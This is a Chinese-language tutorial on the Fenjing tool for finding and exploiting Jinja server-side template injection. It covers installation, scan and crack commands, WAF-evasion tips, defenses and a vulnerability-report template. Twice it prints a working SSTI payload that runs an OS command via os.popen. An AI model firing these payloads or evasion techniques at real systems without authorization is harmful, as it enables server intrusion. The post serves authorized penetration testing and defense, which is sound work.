Fenjing实战手记:从漏洞发现到权限获取的渗透测试指南
作为一名安全研究者,我经常需要面对各种Web应用的安全审计工作。如何使用Fenjing进行安全审计?这款工具在众多Web渗透测试工具中究竟有何独特之处?本文将以第一人称视角,记录我使用Fenjing进行渗透测试的全过程,从工具定位到实际应用,再到深度进阶,希望能为安全领域的新手和进阶用户提供有价值的参考。
认知篇:Fenjing的定位与价值
Fenjing在Web渗透测试工具中的定位
在众多Web渗透测试工具中,Fenjing以其独特的设计理念和强大的功能占据了一席之地。它专为Jinja SSTI(服务器端模板注入)漏洞的检测和利用而设计,能够智能绕过各种WAF(Web应用防火墙)防护,为安全研究者提供了一个高效、精准的漏洞利用框架。
与其他通用的渗透测试工具相比,Fenjing的优势在于其专注性和针对性。它深入研究了Jinja模板引擎的特性和常见的WAF绕过技术,能够在复杂的环境中准确发现并利用SSTI漏洞。对于安全审计人员来说,Fenjing是一款不可或缺的利器,尤其是在面对使用Jinja模板的Web应用时。
Fenjing的核心价值与优势
Fenjing的核心价值在于其能够帮助安全研究者快速、准确地发现和利用Jinja SSTI漏洞,从而评估Web应用的安全风险。其主要优势包括:
-
智能WAF绕过:Fenjing内置了多种WAF绕过策略,能够根据目标WAF的特性自动调整 payload,提高漏洞利用的成功率。
-
全面的漏洞检测:不仅能够检测简单的SSTI漏洞,还能发现一些隐藏较深、难以察觉的漏洞点。
-
可视化操作界面:提供了直观的WebUI界面,使得操作更加简单方便,即使是零基础的安全新手也能快速上手。
-
灵活的定制化配置:支持多种参数配置,能够根据不同的测试场景进行灵活调整,满足各种复杂的测试需求。
实践篇:Fenjing的场景化操作
零基础入门:Fenjing的安装与基本配置
安装方式选择
Fenjing提供了多种安装方式,我在实际测试中尝试了以下几种:
方式一:使用pipx安装(推荐)
pipx能够为Fenjing创建独立的虚拟环境,避免依赖冲突。这是我个人比较推荐的安装方式。
【操作指令】
# 安装pipx
python3 -m pip install --user pipx
python3 -m pipx ensurepath
# 安装Fenjing
pipx install git+https://gitcode.com/gh_mirrors/fe/Fenjing.git
【预期结果】 成功安装Fenjing,并在系统 PATH 中添加可执行命令。
【风险提示】 确保系统中已安装Python 3.7或更高版本,并且具有网络连接以下载依赖包。
方式二:使用Docker镜像
对于追求环境一致性的用户,Docker提供了完美的解决方案。
【操作指令】
# 克隆仓库
git clone https://gitcode.com/gh_mirrors/fe/Fenjing.git
cd Fenjing
# 构建Docker镜像
docker build -t fenjing .
# 运行Docker容器
docker run -p 11451:11451 fenjing
【预期结果】 Docker容器成功运行,Fenjing WebUI可通过 http://localhost:11451 访问。
【风险提示】 确保系统中已安装Docker,并且具有足够的磁盘空间。
基本配置与启动
安装完成后,我们需要进行一些基本配置并启动Fenjing。
【操作指令】
# 启动Fenjing WebUI
fenjing webui
【预期结果】 Fenjing WebUI启动,默认运行在11451端口。打开浏览器访问 http://localhost:11451 即可看到操作界面。
图:Fenjing WebUI界面,展示了目标链接、请求方式、表单输入等配置选项,是进行漏洞检测和利用的主要操作平台。
实战案例:使用Fenjing进行漏洞扫描与利用
场景一:网站漏洞扫描
在进行安全审计时,首先需要对目标网站进行全面的漏洞扫描,以发现潜在的安全风险。
【操作指令】
# 使用Fenjing进行网站扫描
fenjing scan --url http://example.com --detect-mode accurate
【参数说明】
--url:指定目标网站的URL。--detect-mode:设置检测模式,accurate表示精准模式,全面检测,成功率更高;fast表示快速模式,适合初步测试。
【预期结果】 Fenjing将对目标网站进行全面扫描,自动识别表单参数和API接口,发现潜在的SSTI漏洞。
图:Fenjing扫描命令执行示例,展示了在终端中使用命令行进行网站漏洞扫描的过程。
【实测经验】在实际扫描过程中,我发现将检测模式设置为
accurate虽然会花费更多时间,但能够发现更多潜在的漏洞点。对于重要的目标网站,建议使用精准模式进行扫描。
场景二:漏洞利用与权限获取
当发现潜在的SSTI漏洞后,我们需要进行进一步的验证和利用,以获取目标系统的权限。
【操作指令】
# 使用Fenjing进行漏洞利用
fenjing crack --url http://example.com/form --method POST --params name --payload "{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval('__import__('os').popen('id').read()') }}{% endif %}{% endfor %}"
【参数说明】
--url:指定漏洞点的URL。--method:设置请求方式,如GET、POST等。--params:指定需要测试的参数。--payload:指定要使用的攻击 payload。
【预期结果】 Fenjing将向目标漏洞点发送攻击 payload,如果漏洞存在且成功绕过WAF,将返回命令执行结果,如系统用户ID等信息。
【风险提示】 在进行漏洞利用时,务必获得合法授权,遵守相关法律法规。未经授权的渗透测试是违法行为。
工具对比:Fenjing与同类产品的优劣势分析
为了更全面地了解Fenjing的特点,我将其与几款同类产品进行了对比:
| 工具名称 | 优势 | 劣势 |
|---|---|---|
| Fenjing | 专注Jinja SSTI漏洞,WAF绕过能力强,WebUI界面友好 | 功能相对单一,仅针对Jinja模板 |
| SQLMap | 支持多种数据库类型,自动化程度高 | 主要针对SQL注入漏洞,对SSTI支持有限 |
| Burp Suite | 功能全面,可扩展性强 | 价格较高,学习曲线陡峭 |
| OWASP ZAP | 开源免费,社区活跃 | 部分高级功能需要手动配置 |
通过对比可以看出,Fenjing在Jinja SSTI漏洞的检测和利用方面具有明显优势,但其功能相对单一。在实际安全审计工作中,建议将Fenjing与其他工具结合使用,以全面评估Web应用的安全风险。
进阶篇:Fenjing的深度应用
高级绕过技巧:应对复杂WAF环境
在实际的Web应用中,往往部署了复杂的WAF防护,这给漏洞利用带来了很大挑战。Fenjing提供了多种高级绕过技巧,帮助我们应对复杂的WAF环境。
自定义payload生成
Fenjing允许用户自定义payload,以应对特定的WAF规则。我们可以根据目标WAF的特性,编写针对性的payload。
【操作指令】
# 使用自定义payload文件进行攻击
fenjing crack --url http://example.com/form --method POST --params name --payload-file custom_payloads.txt
【预期结果】 Fenjing将从指定的文件中读取payload,并依次发送到目标漏洞点,尝试绕过WAF进行攻击。
【实测经验】在编写自定义payload时,我发现结合多种编码方式和字符替换技巧,能够有效提高绕过WAF的成功率。例如,使用Unicode编码、HTML实体编码等方式对payload进行变形。
动态调整请求参数
除了自定义payload外,我们还可以通过动态调整请求参数来绕过WAF的检测。例如,调整请求间隔、修改User-Agent等。
【操作指令】
# 设置请求间隔和User-Agent
fenjing crack --url http://example.com/form --method POST --params name --payload "..." --delay 1 --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
【参数说明】
--delay:设置请求间隔,单位为秒。--user-agent:设置请求的User-Agent头。
【预期结果】 Fenjing将按照指定的请求间隔和User-Agent发送请求,降低被WAF检测到的风险。
场景化配置生成器:快速适配不同测试场景
为了方便用户快速配置测试参数,Fenjing提供了场景化配置生成器功能。通过选择不同的测试场景,系统将自动生成相应的配置参数,大大提高了测试效率。
graph TD
A[选择测试场景] --> B{场景类型}
B -->|常规网站| C[生成基础配置]
B -->|API接口| D[生成API测试配置]
B -->|登录认证| E[生成带认证的配置]
C --> F[设置目标URL、请求方式等]
D --> G[设置API端点、请求头、参数等]
E --> H[设置登录URL、用户名、密码等]
F --> I[生成最终配置]
G --> I
H --> I
I --> J[执行测试]
图:Fenjing场景化配置生成器流程图,展示了从选择测试场景到生成最终配置并执行测试的全过程。
反制思路:从防御者视角看SSTI漏洞防护
作为安全研究者,不仅要掌握漏洞利用技术,还需要了解防御者的视角,以便更好地评估漏洞风险和提出防护建议。
SSTI漏洞的防御措施
从防御者的角度来看,防范SSTI漏洞可以采取以下措施:
-
输入验证与过滤:对用户输入进行严格的验证和过滤,禁止使用危险的模板语法。
-
使用安全的模板引擎:选择安全性较高的模板引擎,并及时更新到最新版本。
-
限制模板渲染权限:限制模板渲染过程中的系统调用和文件访问权限,降低漏洞利用的风险。
-
部署WAF防护:使用具有SSTI漏洞检测能力的WAF,对可疑请求进行拦截。
-
安全审计与代码审查:定期进行安全审计和代码审查,及时发现和修复潜在的漏洞。
[!WARNING] 即使采取了上述防御措施,也不能完全保证Web应用的安全。攻击者不断寻找新的绕过方法,因此防御者需要持续关注安全动态,及时更新防御策略。
漏洞报送模板:规范漏洞反馈流程
在发现漏洞后,及时向相关方报送漏洞信息是安全研究者的责任。一个规范的漏洞报送模板可以提高漏洞处理的效率。以下是一个漏洞报送模板示例:
# 漏洞报送信息
## 基本信息
- 漏洞名称:Jinja SSTI漏洞
- 漏洞位置:http://example.com/form
- 漏洞等级:高危
- 发现时间:YYYY-MM-DD
## 漏洞描述
在目标网站的表单提交功能中存在Jinja SSTI漏洞,攻击者可以通过构造恶意 payload 执行任意命令,获取系统权限。
## 影响范围
可能导致服务器被入侵,敏感数据泄露,甚至整个系统被控制。
## 复现步骤
1. 访问 http://example.com/form
2. 在表单中输入恶意 payload:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval('__import__('os').popen('id').read()') }}{% endif %}{% endfor %}
3. 提交表单,查看返回结果,可看到命令执行结果。
## 建议修复方案
1. 对用户输入进行严格的验证和过滤,禁止使用危险的模板语法。
2. 更新Jinja模板引擎到最新版本。
3. 部署具有SSTI漏洞检测能力的WAF。
## 附件
[可选,可添加漏洞截图、抓包数据等]
通过使用规范的漏洞报送模板,可以使漏洞信息更加清晰、准确,有助于相关方快速理解和处理漏洞。
总结
通过本文的介绍,我们从认知篇、实践篇和进阶篇三个方面全面了解了Fenjing这款Web渗透测试工具。从工具的定位与价值,到实际的场景化操作,再到深度应用技巧和反制思路,我们逐步深入地掌握了Fenjing的使用方法和相关技术。
作为一名安全研究者,我认为Fenjing是一款非常优秀的Jinja SSTI漏洞测试工具。它不仅能够帮助我们快速发现和利用漏洞,还能通过其灵活的配置和高级绕过技巧应对复杂的测试环境。同时,我们也需要从防御者的角度思考问题,提出有效的防护建议,共同提高Web应用的安全性。
希望本文能够为安全领域的新手和进阶用户提供有价值的参考,让我们一起在安全研究的道路上不断探索和进步。
atomcodeClaude Code 的开源替代方案。连接任意大模型,编辑代码,运行命令,自动验证 — 全自动执行。用 Rust 构建,极致性能。 | An open-source alternative to Claude Code. Connect any LLM, edit code, run commands, and verify changes — autonomously. Built in Rust for speed. Get StartedRust092- DDeepSeek-V4-ProDeepSeek-V4-Pro(总参数 1.6 万亿,激活 49B)面向复杂推理和高级编程任务,在代码竞赛、数学推理、Agent 工作流等场景表现优异,性能接近国际前沿闭源模型。Python00
MiMo-V2.5-ProMiMo-V2.5-Pro作为旗舰模型,擅⻓处理复杂Agent任务,单次任务可完成近千次⼯具调⽤与⼗余轮上 下⽂压缩。Python00
GLM-5.1GLM-5.1是智谱迄今最智能的旗舰模型,也是目前全球最强的开源模型。GLM-5.1大大提高了代码能力,在完成长程任务方面提升尤为显著。和此前分钟级交互的模型不同,它能够在一次任务中独立、持续工作超过8小时,期间自主规划、执行、自我进化,最终交付完整的工程级成果。Jinja00
Kimi-K2.6Kimi K2.6 是一款开源的原生多模态智能体模型,在长程编码、编码驱动设计、主动自主执行以及群体任务编排等实用能力方面实现了显著提升。Python00
MiniMax-M2.7MiniMax-M2.7 是我们首个深度参与自身进化过程的模型。M2.7 具备构建复杂智能体应用框架的能力,能够借助智能体团队、复杂技能以及动态工具搜索,完成高度精细的生产力任务。Python00

